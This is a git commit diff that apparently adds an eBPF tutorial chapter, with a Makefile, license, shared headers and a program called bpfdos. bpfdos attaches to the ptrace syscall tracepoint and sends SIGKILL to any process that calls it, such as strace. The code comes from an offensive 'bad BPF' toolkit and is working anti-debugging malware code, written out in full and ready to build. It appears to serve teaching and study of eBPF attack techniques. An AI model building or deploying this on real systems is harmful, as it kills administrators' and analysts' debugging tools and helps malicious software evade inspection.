add code for hide signal sudo and replace

2026-02-12 22:56:28 +08:00 · 2023-05-31 00:18:31 +08:00
parent e71352c29b
commit fe3dfa9aca
29 changed files with 2743 additions and 0 deletions
--- a/src/25-signal/.gitignore
+++ b/src/25-signal/.gitignore
@@ -0,0 +1,9 @@
+.vscode
+package.json
+*.o
+*.skel.json
+*.skel.yaml
+package.yaml
+ecli
+bootstrap
+textreplace2
--- a/src/25-signal/LICENSE
+++ b/src/25-signal/LICENSE
@@ -0,0 +1,29 @@
+BSD 3-Clause License
+
+Copyright (c) 2020, Andrii Nakryiko
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this
+   list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice,
+   this list of conditions and the following disclaimer in the documentation
+   and/or other materials provided with the distribution.
+
+3. Neither the name of the copyright holder nor the names of its
+   contributors may be used to endorse or promote products derived from
+   this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
--- a/src/25-signal/Makefile
+++ b/src/25-signal/Makefile
@@ -0,0 +1,141 @@
+# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)
+OUTPUT := .output
+CLANG ?= clang
+LIBBPF_SRC := $(abspath ../../libbpf/src)
+BPFTOOL_SRC := $(abspath ../../bpftool/src)
+LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a)
+BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool)
+BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool
+LIBBLAZESYM_SRC := $(abspath ../../blazesym/)
+LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a)
+LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h)
+ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \
+			 | sed 's/arm.*/arm/' \
+			 | sed 's/aarch64/arm64/' \
+			 | sed 's/ppc64le/powerpc/' \
+			 | sed 's/mips.*/mips/' \
+			 | sed 's/riscv64/riscv/' \
+			 | sed 's/loongarch64/loongarch/')
+VMLINUX := ../../vmlinux/$(ARCH)/vmlinux.h
+# Use our own libbpf API headers and Linux UAPI headers distributed with
+# libbpf to avoid dependency on system-wide headers, which could be missing or
+# outdated
+INCLUDES := -I$(OUTPUT) -I../../libbpf/include/uapi -I$(dir $(VMLINUX))
+CFLAGS := -g -Wall
+ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS)
+
+APPS = textreplace2 # minimal minimal_legacy uprobe kprobe fentry usdt sockfilter tc ksyscall
+
+CARGO ?= $(shell which cargo)
+ifeq ($(strip $(CARGO)),)
+BZS_APPS :=
+else
+BZS_APPS := # profile
+APPS += $(BZS_APPS)
+# Required by libblazesym
+ALL_LDFLAGS += -lrt -ldl -lpthread -lm
+endif
+
+# Get Clang's default includes on this system. We'll explicitly add these dirs
+# to the includes list when compiling with `-target bpf` because otherwise some
+# architecture-specific dirs will be "missing" on some architectures/distros -
+# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h,
+# sys/cdefs.h etc. might be missing.
+#
+# Use '-idirafter': Don't interfere with include mechanics except where the
+# build would have failed anyways.
+CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - </dev/null 2>&1 \
+	| sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }')
+
+ifeq ($(V),1)
+	Q =
+	msg =
+else
+	Q = @
+	msg = @printf '  %-8s %s%s\n'					\
+		      "$(1)"						\
+		      "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))"	\
+		      "$(if $(3), $(3))";
+	MAKEFLAGS += --no-print-directory
+endif
+
+define allow-override
+  $(if $(or $(findstring environment,$(origin $(1))),\
+            $(findstring command line,$(origin $(1)))),,\
+    $(eval $(1) = $(2)))
+endef
+
+$(call allow-override,CC,$(CROSS_COMPILE)cc)
+$(call allow-override,LD,$(CROSS_COMPILE)ld)
+
+.PHONY: all
+all: $(APPS)
+
+.PHONY: clean
+clean:
+	$(call msg,CLEAN)
+	$(Q)rm -rf $(OUTPUT) $(APPS)
+
+$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT):
+	$(call msg,MKDIR,$@)
+	$(Q)mkdir -p $@
+
+# Build libbpf
+$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf
+	$(call msg,LIB,$@)
+	$(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1		      \
+		    OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@)		      \
+		    INCLUDEDIR= LIBDIR= UAPIDIR=			      \
+		    install
+
+# Build bpftool
+$(BPFTOOL): | $(BPFTOOL_OUTPUT)
+	$(call msg,BPFTOOL,$@)
+	$(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap
+
+
+$(LIBBLAZESYM_SRC)/target/release/libblazesym.a::
+	$(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release
+
+$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT)
+	$(call msg,LIB, $@)
+	$(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@
+
+$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT)
+	$(call msg,LIB,$@)
+	$(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@
+
+# Build BPF code
+$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL)
+	$(call msg,BPF,$@)
+	$(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH)		      \
+		     $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES)		      \
+		     -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@)
+	$(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@)
+
+# Generate BPF skeletons
+$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL)
+	$(call msg,GEN-SKEL,$@)
+	$(Q)$(BPFTOOL) gen skeleton $< > $@
+
+# Build user-space code
+$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h
+
+$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT)
+	$(call msg,CC,$@)
+	$(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@
+
+$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER)
+
+$(BZS_APPS): $(LIBBLAZESYM_OBJ)
+
+# Build application binary
+$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT)
+	$(call msg,BINARY,$@)
+	$(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@
+
+# delete failed targets
+.DELETE_ON_ERROR:
+
+# keep intermediate (.skel.h, .bpf.o, etc) targets
+.SECONDARY:
--- a/src/25-signal/bpfdos.bpf.c
+++ b/src/25-signal/bpfdos.bpf.c
@@ -0,0 +1,49 @@
+// SPDX-License-Identifier: BSD-3-Clause
+#include "vmlinux.h"
+#include <bpf/bpf_helpers.h>
+#include <bpf/bpf_tracing.h>
+#include <bpf/bpf_core_read.h>
+#include "common.h"
+
+char LICENSE[] SEC("license") = "Dual BSD/GPL";
+
+// Ringbuffer Map to pass messages from kernel to user
+struct {
+    __uint(type, BPF_MAP_TYPE_RINGBUF);
+    __uint(max_entries, 256 * 1024);
+} rb SEC(".maps");
+
+// Optional Target Parent PID
+const volatile int target_ppid = 0;
+
+SEC("tp/syscalls/sys_enter_ptrace")
+int bpf_dos(struct trace_event_raw_sys_enter *ctx)
+{
+    long ret = 0;
+    size_t pid_tgid = bpf_get_current_pid_tgid();
+    int pid = pid_tgid >> 32;
+
+    // if target_ppid is 0 then we target all pids
+    if (target_ppid != 0) {
+        struct task_struct *task = (struct task_struct *)bpf_get_current_task();
+        int ppid = BPF_CORE_READ(task, real_parent, tgid);
+        if (ppid != target_ppid) {
+            return 0;
+        }
+    }
+
+    // Send signal. 9 == SIGKILL
+    ret = bpf_send_signal(9);
+
+    // Log event
+    struct event *e;
+    e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
+    if (e) {
+        e->success = (ret == 0);
+        e->pid = pid;
+        bpf_get_current_comm(&e->comm, sizeof(e->comm));
+        bpf_ringbuf_submit(e, 0);
+    }
+
+    return 0;
+}
--- a/src/25-signal/bpfdos.c
+++ b/src/25-signal/bpfdos.c
@@ -0,0 +1,129 @@
+// SPDX-License-Identifier: BSD-3-Clause
+#include <argp.h>
+#include <unistd.h>
+#include "bpfdos.skel.h"
+#include "common_um.h"
+#include "common.h"
+
+// Setup Argument stuff
+static struct env {
+    int target_ppid;
+} env;
+
+const char *argp_program_version = "bpfdos 1.0";
+const char *argp_program_bug_address = "<path@tofile.dev>";
+const char argp_program_doc[] =
+"BPF DOS\n"
+"\n"
+"Sends a SIGKILL to any program attempting to use\n"
+"the ptrace syscall (e.g. strace)\n"
+"\n"
+"USAGE: ./bpfdos [-t 1111]\n";
+
+static const struct argp_option opts[] = {
+    { "target-ppid", 't', "PPID", 0, "Optional Parent PID, will only affect its children." },
+    {},
+};
+static error_t parse_arg(int key, char *arg, struct argp_state *state)
+{
+    switch (key) {
+    case 't':
+        errno = 0;
+        env.target_ppid = strtol(arg, NULL, 10);
+        if (errno || env.target_ppid <= 0) {
+            fprintf(stderr, "Invalid pid: %s\n", arg);
+            argp_usage(state);
+        }
+        break;
+    case ARGP_KEY_ARG:
+        argp_usage(state);
+        break;
+    default:
+        return ARGP_ERR_UNKNOWN;
+    }
+    return 0;
+}
+static const struct argp argp = {
+    .options = opts,
+    .parser = parse_arg,
+    .doc = argp_program_doc,
+};
+
+static int handle_event(void *ctx, void *data, size_t data_sz)
+{
+    const struct event *e = data;
+    if (e->success)
+        printf("Killed PID %d (%s) for trying to use ptrace syscall\n", e->pid, e->comm);
+    else
+        printf("Failed to kill PID %d (%s) for trying to use ptrace syscall\n", e->pid, e->comm);
+    return 0;
+}
+
+int main(int argc, char **argv)
+{
+    struct ring_buffer *rb = NULL;
+    struct bpfdos_bpf *skel;
+    int err;
+
+    // Parse command line arguments
+    err = argp_parse(&argp, argc, argv, 0, NULL, NULL);
+    if (err) {
+        return err;
+    }
+
+    // Do common setup
+    if (!setup()) {
+        exit(1);
+    }
+
+    // Open BPF application 
+    skel = bpfdos_bpf__open();
+    if (!skel) {
+        fprintf(stderr, "Failed to open BPF program: %s\n", strerror(errno));
+        return 1;
+    }
+
+    // Set target ppid
+    skel->rodata->target_ppid = env.target_ppid;
+
+    // Verify and load program
+    err = bpfdos_bpf__load(skel);
+	if (err) {
+		fprintf(stderr, "Failed to load and verify BPF skeleton\n");
+		goto cleanup;
+	}
+
+    // Attach tracepoint handler 
+    err = bpfdos_bpf__attach( skel);
+    if (err) {
+        fprintf(stderr, "Failed to attach BPF program: %s\n", strerror(errno));
+        goto cleanup;
+    }
+
+    // Set up ring buffer
+    rb = ring_buffer__new(bpf_map__fd( skel->maps.rb), handle_event, NULL, NULL);
+    if (!rb) {
+        err = -1;
+        fprintf(stderr, "Failed to create ring buffer\n");
+        goto cleanup;
+    }
+
+    printf("Successfully started!\n");
+    printf("Sending SIGKILL to any program using the bpf syscall\n");
+    while (!exiting) {
+        err = ring_buffer__poll(rb, 100 /* timeout, ms */);
+        /* Ctrl-C will cause -EINTR */
+        if (err == -EINTR) {
+            err = 0;
+            break;
+        }
+        if (err < 0) {
+            printf("Error polling perf buffer: %d\n", err);
+            break;
+        }
+    }
+
+cleanup:
+    bpfdos_bpf__destroy( skel);
+    return -err;
+}
--- a/src/25-signal/common.h
+++ b/src/25-signal/common.h
@@ -0,0 +1,35 @@
+// SPDX-License-Identifier: BSD-3-Clause
+#ifndef BAD_BPF_COMMON_H
+#define BAD_BPF_COMMON_H
+
+// These are used by a number of
+// different programs to sync eBPF Tail Call
+// login between user space and kernel
+#define PROG_00 0
+#define PROG_01 1
+#define PROG_02 2
+
+// Used when replacing text
+#define FILENAME_LEN_MAX 50
+#define TEXT_LEN_MAX 20
+
+// Simple message structure to get events from eBPF Programs
+// in the kernel to user spcae
+#define TASK_COMM_LEN 16
+struct event {
+    int pid;
+    char comm[TASK_COMM_LEN];
+    bool success;
+};
+
+struct tr_file {
+    char filename[FILENAME_LEN_MAX];
+    unsigned int filename_len;
+};
+
+struct tr_text {
+    char text[TEXT_LEN_MAX];
+    unsigned int text_len;
+};
+
+#endif  // BAD_BPF_COMMON_H
--- a/src/25-signal/common_um.h
+++ b/src/25-signal/common_um.h
@@ -0,0 +1,96 @@
+// SPDX-License-Identifier: BSD-3-Clause
+#ifndef BAD_BPF_COMMON_UM_H
+#define BAD_BPF_COMMON_UM_H
+
+#include <bpf/bpf.h>
+#include <bpf/libbpf.h>
+#include <unistd.h>
+#include <signal.h>
+#include <sys/resource.h>
+#include <errno.h>
+#include <fcntl.h>
+
+static volatile sig_atomic_t exiting;
+
+void sig_int(int signo)
+{
+    exiting = 1;
+}
+
+static bool setup_sig_handler() {
+    // Add handlers for SIGINT and SIGTERM so we shutdown cleanly
+    __sighandler_t sighandler = signal(SIGINT, sig_int);
+    if (sighandler == SIG_ERR) {
+        fprintf(stderr, "can't set signal handler: %s\n", strerror(errno));
+        return false;
+    }
+    sighandler = signal(SIGTERM, sig_int);
+    if (sighandler == SIG_ERR) {
+        fprintf(stderr, "can't set signal handler: %s\n", strerror(errno));
+        return false;
+    }
+    return true;
+}
+
+static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args)
+{
+    return vfprintf(stderr, format, args);
+}
+
+static bool bump_memlock_rlimit(void)
+{
+    struct rlimit rlim_new = {
+        .rlim_cur    = RLIM_INFINITY,
+        .rlim_max    = RLIM_INFINITY,
+    };
+
+    if (setrlimit(RLIMIT_MEMLOCK, &rlim_new)) {
+        fprintf(stderr, "Failed to increase RLIMIT_MEMLOCK limit! (hint: run as root)\n");
+        return false;
+    }
+    return true;
+}
+
+
+static bool setup() {
+    // Set up libbpf errors and debug info callback 
+    libbpf_set_print(libbpf_print_fn);
+
+    // Bump RLIMIT_MEMLOCK to allow BPF sub-system to do anything 
+    if (!bump_memlock_rlimit()) {
+        return false;
+    };
+
+    // Setup signal handler so we exit cleanly
+    if (!setup_sig_handler()) {
+        return false;
+    }
+
+    return true;
+}
+
+
+#ifdef BAD_BPF_USE_TRACE_PIPE
+static void read_trace_pipe(void) {
+    int trace_fd;
+
+    trace_fd = open("/sys/kernel/debug/tracing/trace_pipe", O_RDONLY, 0);
+    if (trace_fd == -1) {
+        printf("Error opening trace_pipe: %s\n", strerror(errno));
+        return;
+    }
+
+    while (!exiting) {
+        static char buf[4096];
+        ssize_t sz;
+
+        sz = read(trace_fd, buf, sizeof(buf) -1);
+        if (sz > 0) {
+            buf[sz] = '\x00';
+            puts(buf);
+        }
+    }
+}
+#endif  // BAD_BPF_USE_TRACE_PIPE
+
+#endif  // BAD_BPF_COMMON_UM_H